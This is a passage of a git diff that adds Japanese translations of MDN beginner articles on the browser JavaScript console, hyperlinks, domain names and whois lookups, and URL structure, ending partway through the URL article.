class="Unicode"><em><span class="Unicode">➤ Web Developer </span></em><em><span class="Unicode">➤ Web Console, </span></em><span class="Unicode">or </span><em>Tools ➤</em></span><em> Web Developer ➤ Web Console. </em>On other browser, open the developer tools and then click the Console tab.</p> + +<p>This will give you a window like the following:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16212/console_only.png" style="border: 1px solid black; display: block; height: 187px; margin: 0px auto; width: 672px;"></p> + +<p>To see what happens, try entering the following snippets of code into the console one by one (and then pressing Enter):</p> + +<ol> + <li> + <pre class="brush: js">alert('hello!');</pre> + </li> + <li> + <pre class="brush: js">document.querySelector('html').style.backgroundColor = 'purple';</pre> + </li> + <li> + <pre class="brush: js">var myImage = document.createElement('img'); +myImage.setAttribute('src','https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png'); +document.querySelector('h1').appendChild(myImage);</pre> + </li> +</ol> + +<p>Now try entering the following incorrect versions of the code and see what you get.</p> + +<ol> + <li> + <pre class="brush: js">alert('hello!);</pre> + </li> + <li> + <pre class="brush: js">document.cheeseSelector('html').style.backgroundColor = 'purple';</pre> + </li> + <li> + <pre class="brush: js">var myImage = document.createElement('img'); +myBanana.setAttribute('src','https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png'); +document.querySelector('h1').appendChild(myImage);</pre> + </li> +</ol> + +<p>You'll start to see the kind of errors that the browser returns. Often these errors are fairly cryptic, but it should be pretty simple to figure these problems out!</p> + +<h3 id="Find_out_more_2">Find out more</h3> + +<p>Find more out about the JavaScript console in different browsers:</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Firefox Web Console</a></li> + <li><a href="http://msdn.microsoft.com/en-us/library/ie/dn255006%28v=vs.85%29.aspx">IE JavaScript console</a></li> + <li><a href="https://developer.chrome.com/devtools/docs/console">Chrome JavaScript Console</a> (Opera's inspector works the same as this)</li> + <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html#//apple_ref/doc/uid/TP40007874-CH6-SW1">Safari Console</a></li> +</ul> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> + <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a></li> +</ul> diff --git a/files/ja/learn/common_questions/what_are_hyperlinks/index.html b/files/ja/learn/common_questions/what_are_hyperlinks/index.html new file mode 100644 index 0000000000..97b37bfe75 --- /dev/null +++ b/files/ja/learn/common_questions/what_are_hyperlinks/index.html @@ -0,0 +1,95 @@ +--- +title: ハイパーリンクとは？ +slug: Learn/Common_questions/What_are_hyperlinks +tags: + - Beginner + - Infrastructure + - Navigation +translation_of: Learn/Common_questions/What_are_hyperlinks +--- +<div class="summary"> +<p>この記事では、ハイパーリンクとは何か、なぜ重要なのかを詳しく説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットの仕組み</a>を理解し、<a href="/ja/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Web ページ、Web サイト、Web サーバ、検索エンジンの違い</a>に精通している必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>Web 上のリンクとその重要性について学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>ハイパーリンクは通常リンクと呼ばれ、Web の背後にある基本概念です。リンクとは何かを説明するために、Web アーキテクチャの基本に戻る必要があります。</p> + +<p>Web の発明者でもあるティム・バーナーズ・リーは、1989年に Web を支える3つの柱について語りました。</p> + +<ol> + <li>{{Glossary("URL")}}、Web 文書を追跡するアドレスシステム</li> + <li>{{Glossary("HTTP")}}、URL が与えられたときに文書を見つけるための転送プロトコル</li> + <li>{{Glossary("HTML")}}、埋め込み<em>ハイパーリンク</em>を可能にする文書フォーマット</li> +</ol> + +<p>3つの柱からわかるように、Web 上のすべてのものはドキュメントとそのアクセス方法を中心に展開されています。Web の当初の目的は、テキスト文書に簡単にアクセスし、読み込み、そしてナビゲートする方法を提供することでした。それ以来、Web は画像、ビデオ、およびバイナリデータへのアクセスを提供するように進化しましたが、これらの改善によって3つの柱が変わることはほとんどありませんでした。</p> + +<p>Web が登場する前は、ドキュメントにアクセスして別のドキュメントに移動することは非常に困難でした。人が読めるので、URL はすでに物事を簡単にしますが、文書にアクセスする都度長い URL を入力するのは困難です。これがハイパーリンクがすべてに革命をもたらしたところです。リンクは任意のテキスト文字列を URL と関連付けることができるため、ユーザはリンクをアクティブにすることで対象の文書にすぐにアクセスできます。</p> + +<p>下線が引かれ、青いテキストで囲まれていることで、リンクは周囲のテキストから際立っています。リンクをタップまたはクリックしてアクティブにするか、キーボードを使用している場合は、リンクがフォーカスされるまでTabキーを押してEnterキーまたはスペースバーを押します。</p> + +<p><img alt="Example of a basic display and effect of a link in a web page" src="https://mdn.mozillademos.org/files/8625/link-1.png" style="height: 492px; width: 477px;"></p> + +<p>リンクは、Web をとても便利で成功させた画期的なものです。この記事の残りの部分では、さまざまな種類のリンクと、それらが現代の Web デザインにとって重要であることについて説明します。</p> + +<h2 id="より深いダイブ">より深いダイブ</h2> + +<p>すでに述べたように、リンクは URL に関連付けられたテキスト文字列です。リンクを使用すると、ある文書から別の文書に簡単に移動できます。とは言っても、考慮すべきいくつかのニュアンスがあります。</p> + +<h3 id="リンクの種類">リンクの種類</h3> + +<dl> + <dt>内部リンク</dt> + <dd>両方ともあなたの Web サイトに属している 2 つの Web ページ間のリンクは、内部リンクと呼ばれます。内部リンクがなければ、Web サイトのようなものはありません (もちろん、1ページの Web サイトでもない限りはですが)。</dd> + <dt>外部リンク</dt> + <dd>あなたの Web ページから他の誰かの Web ページへのリンク。Web は Web ページのネットワークであるため、外部リンクがなければ Web はありません。あなたの Web ページを通して利用可能なコンテンツ以外の情報を提供するには外部リンクを使用してください。</dd> + <dt>被リンク</dt> + <dd>他の人の Web ページからあなたのサイトへのリンク。外部リンクの反対です。誰かがあなたのサイトにリンクしたときにあなたはリンクバックする必要はないことに注意してください。</dd> +</dl> + +<p>Web サイトを構築するときは、内部リンクに集中してください。これらのリンクを使用すると、サイトが使用可能になります。リンク数が多すぎることと少なすぎることの間でバランスの取れたものを見つけてください。別の記事で Web サイトナビゲーションの設計について説明しますが、原則として、新しい Web ページを追加するときは必ず、他のページの少なくとも1つがその新しいページにリンクしていることを確認してください。一方、サイトに10ページを超えるページがある場合は、他のすべてのページからすべてのページにリンクするのは非生産的です。</p> + +<p>始めて間もないうちは、それほど外部と入ってくるリンクについて心配する必要はありません。しかし検索エンジンにサイトを見つけさせたいならそれらは非常に重要です。(詳細については下記を参照してください)。</p> + +<h3 id="アンカー">アンカー</h3> + +<p>ほとんどのリンクは2つの Web ページを結び付けています。 <strong>アンカー</strong>は1つの文書の2つのセクションを一緒に結びます。 アンカーを指すリンクをたどると、ブラウザは新しい文書をロードするのではなく、現在の文書の別の部分にジャンプします。ただし、他のリンクと同じ方法でアンカーを作成して使用します。</p> + +<p><img alt="Example of a basic display and effect of an anchor in a web page" src="https://mdn.mozillademos.org/files/8627/link-2.png" style="height: 492px; width: 477px;"></p> + +<h3 id="リンクと検索エンジン">リンクと検索エンジン</h3> + +<p>リンクはユーザにとっても検索エンジンにとっても重要です。 検索エンジンは、Web ページをクロールするたびに、その Web ページで利用可能なリンクをたどって Web サイトにインデックスを付けます。検索エンジンは、リンクをたどって Web サイトのさまざまなページを見つけるだけでなく、リンクの表示テキストを使用して、どの検索クエリが対象のWebページにアクセスするのに適しているかを判断します。</p> + +<p>リンクは、検索エンジンがサイトにどれだけ早くリンクするかに影響します。問題は、検索エンジンのアクティビティを測定するのが難しいということです。企業は当然、自分のサイトが検索結果の上位にランクされることを望んでいます。検索エンジンがサイトのランクをどのように決定するかについては、次のことがわかっています。</p> + +<ul> + <li>リンクの<em>表示テキスト</em>は、どの検索クエリが特定の URL を検索するかに影響します。</li> + <li>Web ページの<em>被リンク</em>が多いほど、検索結果のランクは高くなります。</li> + <li><em>外部リンク</em>は、元の Web ページと遷移先の Web ページの両方の検索ランキングに影響を与えますが、その程度は不明です。</li> +</ul> + +<p><a href="http://en.wikipedia.org/wiki/Search_engine_optimization">SEO</a> (検索エンジン最適化) は、検索結果で Web サイトを上位にランク付けする方法の研究です。Web サイトのリンクの使用を改善することは、1つの役に立つ SEO テクニックです。</p> + +<h2 id="次のステップ">次のステップ</h2> + +<p>それでは、いくつか Web ページにリンクを設定しましょう。</p> + +<ul> + <li>すべてのリンクが URL を指しているので、より理論的な背景を得るには、<a href="/ja/docs/Learn/Common_questions/What_is_a_URL">URL とその構造</a>について学びます。</li> + <li>もう少し実用的なものが欲しいですか？ <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>モジュールの記事「<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクの作成</a>」で、リンクの実装方法について詳しく説明しています。</li> +</ul> diff --git a/files/ja/learn/common_questions/what_is_a_domain_name/index.html b/files/ja/learn/common_questions/what_is_a_domain_name/index.html new file mode 100644 index 0000000000..37d78285c8 --- /dev/null +++ b/files/ja/learn/common_questions/what_is_a_domain_name/index.html @@ -0,0 +1,160 @@ +--- +title: ドメイン名とは何ですか？ +slug: Learn/Common_questions/What_is_a_domain_name +tags: + - Web + - イントロダクション + - インフラ + - ウェブ + - ドメイン名 + - 初心者 + - 導入 +translation_of: Learn/Common_questions/What_is_a_domain_name +--- +<div class="summary"> +<p>この記事ではドメイン名について説明し、何であるか、どのように構造化されているのか、そして取得する方法を説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>まず<a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットの仕組み</a>、 <a href="/ja/docs/Learn/Common_questions/What_is_a_URL">URL とは何か</a>を理解している必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>ドメイン名とはどのようなもので、どのように働くのか、なぜ重要なのかを学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="Summary" name="Summary">概要</h2> + +<p><span class="seoSummary">ドメイン名はインターネット基盤の重要な部分です。インターネット上で利用できるあらゆるウェブサーバーに対して、人間が読めるアドレスを提供します。</span></p> + +<p>インターネットに接続しているコンピューターはすべて、パブリック {{Glossary("IP")}} アドレスからアクセスでき、これは IPv4 では32ビット (通常、ドットで区切られた 0〜255 までの4桁の数値 (例: <code>173.194.121.32</code>) として記述される)、 IPv6 では128ビット (通常はコロンで区切られた4桁の16進数の8つのグループ (例: <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>)として記述される) で構成されます。コンピューターはこれらのアドレスを簡単に処理できますが、人間にとってはだれがサーバーを運営しているのか、またはウェブサイトがどのようなサービスを提供しているかを理解するのは困難です。 IP アドレスは覚えにくく、時間の経過とともに変わる可能性があります。これらすべての問題を解決するために、ドメイン名と呼ばれる人間が読めるアドレスを使用します。</p> + +<h2 id="Deeper_dive" name="Deeper_dive">より深い追求</h2> + +<h3 id="Structure_of_domain_names" name="Structure_of_domain_names">ドメイン名の構造</h3> + +<p>ドメイン名は単純な構造であり、ドットで区切られたいくつかの部分 (1つの部分だけの場合もあれば、2つ、3つの場合も...) からできており、<strong>右から左に向かって読まれます</strong>。</p> + +<p><img alt="MDN のドメイン名の構造" src="https://mdn.mozillademos.org/files/11229/structure.png" style="height: 76px; width: 252px;"></p> + +<p>これらのそれぞれの部分は、ドメイン名全体に関する特定の情報を提供します。</p> + +<dl> + <dt>{{Glossary("TLD")}} (トップレベルドメイン)</dt> + <dd>TLD は最も一般的な情報を提供します。 TLD は、ドメイン名の背後にあるサービスの全般的な目的をユーザーに伝えます。多くの一般的な TLD (<code>.com</code>, <code>.org</code>, <code>.net</code>) はウェブサービスが特定の基準を満たしていることを要求しませんが、 TLD によってはより厳密な基準を適用するため、目的がより明確になります。例えば、 + <ul> + <li><code>.jp</code>, <code>.us</code>, <code>.fr</code>, <code>.se</code> などのローカル TLD では、サービスを特定の言語で提供しているか、特定の国でホスティングされていることを要求します。これらは、特定の言語や国のリソースであることを示しているとみなされます。</li> + <li><code>.gov</code> や <code>.go.jp</code> を含む TLD は、政府機関のみが使用できます。</li> + <li><code>.edu</code> や <code>.ac.jp</code> のような TLD は教育・学術機関のみで使用されていると見なされます。</li> + </ul> + TLD にはラテン文字だけでなく特殊文字も含めることができ、長さは最大63文字ですが、ほとんどは2〜3文字です。</dd> + <dt>ラベル (またはコンポーネント)</dt> + <dd>ラベルは TLD の後に続くものです。ラベルは1文字から完全な一文まで何でも構いません。 TLD の直前にあるラベルは、<em>二次レベルドメイン</em> (SLD) とも呼ばれます。ドメイン名は多数のラベル (またはコンポーネント) を持つことができますが、ドメイン名を構成するのにラベルを3つ持つことが必須でも必要でもありません。例えば、 www.inf.ed.ac.uk は正しいドメイン名です。制御権のあるドメイン (例えば <a href="https://mozilla.org">mozilla.org</a>) には、 <a href="https://developer.mozilla.org">developer.mozilla.org</a> や <a href="https://iot.mozilla.org/">https://iot.mozilla.org/</a> のように、互いに異なる内容で「サブドメイン」を作成することができます。</dd> +</dl> + +<h3 id="Buying_a_domain_name" name="Buying_a_domain_name">ドメイン名の購入</h3> + +<h4 id="Who_owns_a_domain_name" name="Who_owns_a_domain_name">誰がドメイン名を所有しているか</h4> + +<p>「ドメイン名を買う」ことはできません。これは、未使用のドメイン名が最終的に他の人が再び使用できるようになるためです。すべてのドメイン名が購入されてしまうと、ウェブはすぐにロックされていて誰も利用ができない未使用のドメイン名であふれてしまいます。</p> + +<p>代わりに、1年間または数年間ドメイン名を使用する権利を購入します。この権利は更新することができ、他の人々の応募よりも更新の方が優先されます。しかし、決してドメイン名を所有するわけではありません。</p> + +<p>登録機関と呼ばれる会社は、ドメイン名のレジストリを使用して、あなたをドメイン名に結び付ける技術的および管理的情報を維持します。</p> + +<div class="note"> +<p><strong>メモ : </strong>ドメイン名によっては、追跡を担当している登録機関ではない可能性があります。たとえば、<code>.fire</code> の下のすべてのドメイン名は Amazon によって管理されています。</p> +</div> + +<h4 id="Finding_an_available_domain_name" name="Finding_an_available_domain_name">利用可能なドメイン名を探す</h4> + +<p>特定のドメイン名が利用可能かどうかを調べるには、</p> + +<ul> + <li>ドメイン名の登録機関のウェブサイトにアクセスしてください。ほとんどの登録機関は、「whois」と呼ばれるドメイン名が利用できるかどうかを知ることができるサービスを提供しています。</li> + <li>あるいは、シェルを内蔵しているシステムを使用している場合は <code>whois</code> コマンドを入力して下さい。 <code>mozilla.org</code> の場合は次のようになります。</li> +</ul> + +<pre>$ whois mozilla.org +Domain Name:MOZILLA.ORG +Domain ID: D1409563-LROR +Creation Date: 1998-01-24T05:00:00Z +Updated Date: 2013-12-08T01:16:57Z +Registry Expiry Date: 2015-01-23T05:00:00Z +Sponsoring Registrar:MarkMonitor Inc. (R37-LROR) +Sponsoring Registrar IANA ID: 292 +WHOIS Server: +Referral URL: +Domain Status: clientDeleteProhibited +Domain Status: clientTransferProhibited +Domain Status: clientUpdateProhibited +Registrant ID:mmr-33684 +Registrant Name:DNS Admin +Registrant Organization:Mozilla Foundation +Registrant Street: 650 Castro St Ste 300 +Registrant City:Mountain View +Registrant State/Province:CA +Registrant Postal Code:94041 +Registrant Country:US +Registrant Phone:+1.6509030800 +</pre> + +<p>ご覧のとおり、 <code>mozilla.org</code> を登録することはできません。 Mozilla Foundation がすでに登録しているからです。</p> + +<p>一方、 <code>afunkydomainname.org</code> を登録できるかどうか確認しましょう。</p> + +<pre>$ whois afunkydomainname.org +NOT FOUND +</pre> + +<p>ご覧のとおり、ドメインは (執筆時点で) <code>whois</code> データベースには存在しませんので、登録を依頼することができます。知っておくと良いでしょう！</p> + +<h4 id="Getting_a_domain_name" name="Getting_a_domain_name">ドメイン名の取得</h4> + +<p>プロセスは非常に簡単です。</p> + +<ol> + <li>登録機関のウェブサイトにアクセスします。</li> + <li>通常、「ドメイン名を取得する」という操作があります。それをクリックします。</li> + <li>フォームに必要事項をすべて記入してください。希望するドメイン名のスペルを間違えていないことを特に確認してください。支払いが済んだら、手遅れです。</li> + <li>登録機関は、ドメイン名が正しく登録されたことを知らせます。数時間以内に、すべての DNS サーバーがあなたの DNS 情報を受信するでしょう。</li> +</ol> + +<div class="note"> +<p><strong>メモ:</strong> この過程で、登録機関は現実世界の住所を尋ねます。国によっては、有効な住所を提供できないと登録機関がドメインを強制的に閉鎖する可能性があるため、正しく入力するようにしてください。</p> +</div> + +<h4 id="DNS_refreshing" name="DNS_refreshing">DNS の更新</h4> + +<p>DNS データベースは世界中のすべての DNS サーバーに格納されており、これらのサーバーはすべて「権威ネームサーバー」または「トップレベル DNS サーバー」と呼ばれるいくつかの特別なサーバーを参照しています。これらはシステムを管理する上司サーバーのようなものです。</p> + +<p>登録機関が特定のドメインの情報を作成または更新するたびに、すべての DNS データベース内で情報を更新する必要があります。指定されたドメインについて知っている DNS サーバーはそれぞれ、しばらく情報を保持し、その後で情報を自動的に無効化して更新します (DNS サーバーが権威サーバーに照会し、そこから更新された情報を取得します)。したがって、このドメイン名について知っている DNS サーバーが最新の情報を入手するには時間がかかります。</p> + +<h3 id="How_does_a_DNS_request_work" name="How_does_a_DNS_request_work">DNS リクエストはどのように機能するのか</h3> + +<p>すでに見たように、ブラウザーにウェブページを表示したい場合は、 IP アドレスよりもドメイン名を入力する方が簡単です。プロセスを見てみましょう。</p> + +<ol> + <li>ブラウザーのロケーションバーに <code>mozilla.org</code> と入力してください。</li> + <li>ブラウザーは、このドメイン名で識別される IP アドレスを (ローカル DNS キャッシュを使用して) すでに認識しているかどうかをコンピューターに確認します。存在する場合、ドメイン名は IP アドレスに変換され、ブラウザーはウェブサーバーとコンテンツをネゴシエートします。話は終わりです。</li> + <li>どの IP が <code>mozilla.org</code> の名前の背後にあるのかわからない場合は、DNS サーバーに問い合わせます。DNS サーバーの役割は、登録されている各ドメイン名に一致する IP アドレスをコンピューターに通知することです。</li> + <li>コンピューターがリクエストされた IP アドレスを認識したので、ブラウザーはウェブサーバーとコンテンツをネゴシエートできます。</li> +</ol> + +<p><img alt="Explanation of the steps needed to obtain the result to a DNS request" src="https://mdn.mozillademos.org/files/8961/2014-10-dns-request2.png" style="height: 702px; width: 544px;"></p> + +<h2 id="Next_steps" name="Next_steps">次のステップ</h2> + +<p>さて、私たちはプロセスとアーキテクチャについて多くのことを話しました。そろそろ次に進みましょう。</p> + +<ul> + <li>実際にやってみたいのであれば、そろそろ<a href="/ja/docs/Learn/Common_questions/Common_web_layouts">ウェブページの構造</a>の設計と構造を探求するのがよいでしょう。</li> + <li>また、ウェブサイトを構築するためのいくつかの面で費用がかかることも注目に値します。<a href="/ja/docs/Learn/Common_questions/How_much_does_it_cost">ウェブサイトを構築するのにかかる費用</a>を参照してください。</li> + <li>あるいはウィキペディアで<a href="https://ja.wikipedia.org/wiki/%E3%83%89%E3%83%A1%E3%82%A4%E3%83%B3%E5%90%8D">ドメイン名</a>についてもっと読んでください。</li> + <li>DNS がどのように機能するかについての楽しくカラフルな説明も<a href="https://howdns.works/">ここ</a>にあります。</li> +</ul> diff --git a/files/ja/learn/common_questions/what_is_a_url/index.html b/files/ja/learn/common_questions/what_is_a_url/index.html new file mode 100644 index 0000000000..433ead1fa4 --- /dev/null +++ b/files/ja/learn/common_questions/what_is_a_url/index.html @@ -0,0 +1,159 @@ +--- +title: URL とは何か +slug: Learn/Common_questions/What_is_a_URL +tags: + - Infrastructure + - URL + - urls + - インフラ + - リソース + - 初心者 +translation_of: Learn/Common_questions/What_is_a_URL +--- +<div class="summary"> +<p>この記事では Uniform Resource Locators (URL) について説明し、その内容と構造を説明します。</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>まず<a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットの仕組み</a>、<a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">ウェブサーバーとは何か</a>、および <a href="/ja/docs/Learn/Common_questions/What_are_hyperlinks">ウェブ上のリンクの背後にある概念</a>を知る必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>URL の内容とウェブ上での URL の仕組みを学習します。</td> + </tr> + </tbody> +</table> + +<h2 id="Summary" name="Summary">概要</h2> + +<p><span class="seoSummary"><strong><dfn>URL</dfn></strong> は{{Glossary("Hypertext", "ハイパーテキスト")}}や {{Glossary("HTTP")}} とともに、ウェブの重要な概念の一つです。{{Glossary("Browser", "ブラウザー")}}がウェブ上の公開されたリソースを取得するために使用するメカニズムです。</span></p> + +<p><strong>URL</strong> は <em>Uniform Resource Locator</em> の略です。URL はウェブ上の特定の一意のリソースのアドレスにすぎません。理論的には、それぞれ有効な URL は一意のリソースを指しています。そのようなリソースは HTML ページ、 CSS 文書、画像などである可能性があります。実際には一部例外もあります。最も一般的なものは、もはや存在しないリソースや移動したリソースを指す URL です。URL で表されるリソースと URL 自体はウェブサーバーによって処理されるため、ウェブサーバーの所有者がそのリソースとその関連 URL を慎重に管理する必要があります。</p> + +<h2 id="Active_Learning" name="Active_Learning">アクティブラーニング</h2> + +<p><em>アクティブラーニングはまだありません。<a href="/ja/docs/MDN/Getting_started">協力してください</a>。</em></p> + +<h2 id="Deeper_dive" name="Deeper_dive">より深く</h2> + +<h3 id="Basics_anatomy_of_a_URL" name="Basics_anatomy_of_a_URL">基本: URL の解剖</h3> + +<p>URL の例を次に示します。</p> + +<pre>https://developer.mozilla.org +https://developer.mozilla.org/en-US/docs/Learn/ +https://developer.mozilla.org/en-US/search?q=URL</pre> + +<p>これらの URL のいずれかをブラウザーのアドレスバーに入力して、関連するページ (リソース) をロードするように指示することができます。</p> + +<p>URL はさまざまな部分で構成されていますが、必須のものと任意のものもあります。次の URL を使用して最も重要な部分を見てみましょう。</p> + +<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument</pre> + +<dl> + <dt><img alt="プロトコル" src="https://mdn.mozillademos.org/files/15766/mdn-url-protocol@x2_update.png" style="height: 70px; width: 440px;"></dt> + <dd><code>http</code> はプロトコルです。 URL の最初の部分は、ブラウザーが使用するプロトコルを示します。プロトコルとは、コンピューターネットワークを介してデータを交換または転送するための設定方法です。通常、ウェブサイトの場合は HTTP プロトコルまたはそのセキュアバージョンの HTTPS です。ウェブにはこれらの2つのうちの1つが必要ですが、ブラウザーは <code>mailto:</code> (メールクライアントを開くため) や <code>ftp:</code> などの他のプロトコルを扱う方法も知っていますので、そのようなプロトコルを見ても驚かないでください。</dd> + <dt><img alt="ドメイン名" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>www.example.com</code> はドメイン名です。リクエストされるウェブサーバーを示します。他にも {{Glossary("IP address", "IP アドレス")}} を直接使用することも可能ですが、あまり便利ではないため、ウェブ上では頻繁に使用されることはありません。</dd> + <dt><img alt="ポート番号" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>:80</code> はポート番号です。これはウェブサーバー上のリソースにアクセスするために使用される技術的な「ゲート」を示します。ウェブサーバーが HTTP プロトコルの標準ポート (HTTP の場合は80、 HTTPS の場合は443) を使用してそのリソースへのアクセスを許可する場合、通常は省略されます。それ以外の場合は必須です。</dd> + <dt><img alt="ファイルへのパス" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>/path/to/myfile.html</code> は、ウェブサーバー上のリソースへのパスです。初期のウェブでは、このようなパスはウェブサーバー上の物理的なファイルの場所を表していました。今日ではほとんどの場合、物理的なものではなくウェブサーバーによって処理される抽象的なものです。</dd> + <dt><img alt="引数" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>?key1=value1&key2=value2</code> は、ウェブサーバーに提供される追加の引数です。これらの引数は <code>&</code> 記号で区切られたキー/値のペアのリストです。ウェブサーバーは、リソースを返す前にこれらの引数を使用して追加の処理を行うことができます。各ウェブサーバーには引数に関する独自のルールがありますので、特定のウェブサーバーが引数を処理するかどうかを確認する確実な方法は、ウェブサーバーの所有者に問い合わせることだけです。</dd> + <dt><img alt="アンカー" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt> + <dd><code>#SomewhereInTheDocument</code> は、リソース自体の別の部分へのアンカーです。アンカーはリソース内の一種の「ブックマーク」を表し、ブラウザーにそのブックマークされた場所にあるコンテンツを表示するための指示を与えます。たとえば、 HTML 文書では、ブラウザーはアンカーが定義されている位置までスクロールします。ビデオやオーディオ文書では、ブラウザーはアンカーが表す時刻に移動しようとします。 <strong>#</strong> の後の部分は<strong>フラグメント識別子</strong>とも呼ばれ、リクエストとともにサーバーに送信されることはありません。</dd> +</dl> + +<p>{{Note('URL に関する<a href="https://ja.wikipedia.org/wiki/Uniform_Resource_Locator">他の部分と規則</a>もありますが、それらは通常のユーザーやウェブ開発者には関係ありません。これについて心配する必要はありません。完全に機能する URL を構築して使用するためにそれらを知る必要はありません。')}}</p> + +<p>URL を通常の郵送先住所のように考えるといいかもしれません。<em>プロトコル</em>は、使用したい郵便サービスを表し、<em>ドメイン名</em>は都市または町であり、<em>ポート番号</em>は郵便番号のようなものです。<em>パス</em>は郵便物が配信される建物を表します。<em>引数</em>は建物内の部屋番号などの追加情報を表します。最後に、<em>アンカー</em>は郵便物の宛先に当たる実際の人物を表します。</p> + +<h3 id="How_to_use_URLs" name="How_to_use_URLs">URL の使い方</h3> + +<p>ブラウザーのアドレスバーの中に正しく URL を入力すれば、それに対応するリソースを得ることができます。しかし、これは氷山の一角にすぎません。</p> + +<p><a href="/ja/docs/Learn/HTML/Introduction_to_HTML">後で説明する</a> {{Glossary("HTML")}} 言語では、 URL を幅広く使用しています。</p> + +<ul> + <li>{{HTMLElement("a")}} 要素により、他の文書へのリンクを生成する</li> + <li>{{HTMLElement("link")}} や {{HTMLElement("script")}} のような様々な要素を介して、文書を関連するリソースと結びつける</li> + <li>画像 ({{HTMLElement("img")}} 要素による)、動画 ({{HTMLElement("video")}} 要素による)、音声と音楽 ({{HTMLElement("audio")}} 要素による) などのメディアを表示する</li> + <li>{{HTMLElement("iframe")}} 要素により、他の HTML 文書を表示する</li> +</ul> + +<div class="note"> +<p><strong>メモ:</strong> <code><script></code>, <code><audio></code>, <code><img></code>, <code><video></code> を使用する場合など、ページの一部としてリソースを読み込む URL を指定する場合は、HTTP と HTTPS の URL のみを使用してください。たとえば FTP を使用しても、特に安全になることはなく、、多くのブラウザーでは対応していません。</p> +</div> + +<p>{{Glossary("CSS")}} や {{Glossary("JavaScript")}} などの他の技術は、URL を広範囲に使用し、真にウェブの中核です。</p> + +<h3 id="Absolute_URLs_vs_relative_URLs" name="Absolute_URLs_vs_relative_URLs">絶対 URL と相対 URL</h3> + +<p>上記で見たものは<em>絶対 URL</em> と呼ばれていますが、<em>相対 URL</em> と呼ばれるものもあります。その違いが何を意味するのかをもっと詳しく調べてみましょう。</p> + +<p>URL の必須部分は、その URL が使用されているコンテキストによって大きく異なります。ブラウザーのアドレスバーでは、 URL にはコンテキストがありません。そのため、上で見たように、完全 (または<em>絶対</em>) URL を指定する必要があります。プロトコル (ブラウザーは既定で HTTP を使用します) やポート番号 (対象となるウェブサーバーが通常以外のポートを使用している場合にのみ必要) を含める必要はありませんが、 URL の他の部分はすべて必要です。</p> + +<p>HTML ページ内など、文書内で URL が使用されている場合は状況が少し異なります。ブラウザーはすでに文書自身の URL を持っているので、この情報を文書内で利用される URL の欠けている部分を補うために利用することができます。<em>絶対 URL</em> と<em>相対 URL</em> は、 URL の<em>パス</em>の部分を見るだけで区別することができます。 URL のパスの部分が "<code>/</code>" の文字で始まっていれば、ブラウザーは現在の文書で指定されているコンテキストを参照せずに、サーバーの最上位のルートからそのリソースを取得します。</p> + +<p>これを明確にするためにいくつかの例を見てみましょう。</p> + +<h4 id="Examples_of_absolute_URLs" name="Examples_of_absolute_URLs">絶対 URL の例</h4> + +<dl> + <dt>完全 URL (以前に使用したものと同じ)</dt> + <dd> + <pre>https://developer.mozilla.org/en-US/docs/Learn</pre> + </dd> + <dt>暗黙のプロトコル</dt> + <dd> + <pre>//developer.mozilla.org/en-US/docs/Learn</pre> + + <p>この場合、ブラウザーはその URL をホストしている文書を読み込むために使用されたものと同じプロトコルで、その URL を呼び出します。</p> + </dd> + <dt>暗黙のドメイン名</dt> + <dd> + <pre>/en-US/docs/Learn</pre> + + <p>これは、 HTML 文書内の絶対 URL の最も一般的な使用例です。ブラウザーは、その URL をホストしている文書を読み込むために使用されたものと同じプロトコルおよび同じドメイン名を使用します。<strong>メモ:</strong> プロトコルを省略せずにドメイン名だけ省略することはできません。</p> + </dd> +</dl> + +<h4 id="Examples_of_relative_URLs" name="Examples_of_relative_URLs">相対 URL の例</h4> + +<p>次の例をよく理解するために、これらの URL が <code>https://developer.mozilla.org/en-US/docs/Learn</code> という URL にある文書内から呼び出されると仮定しましょう。</p> + +<dl> + <dt>サブリソース</dt> + <dd> + <pre>Skills/Infrastructure/Understanding_URLs +</pre> + URL が <code>/</code> で始まっていないので、ブラウザーは現在のリソースを含んでいるディレクトリのサブディレクトリでその文書を見つけようとします。そのため、この例では本当に達したい URL である <code>https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs</code> に到達します。</dd> + <dt>ディレクトリツリーを遡る</dt> + <dd> 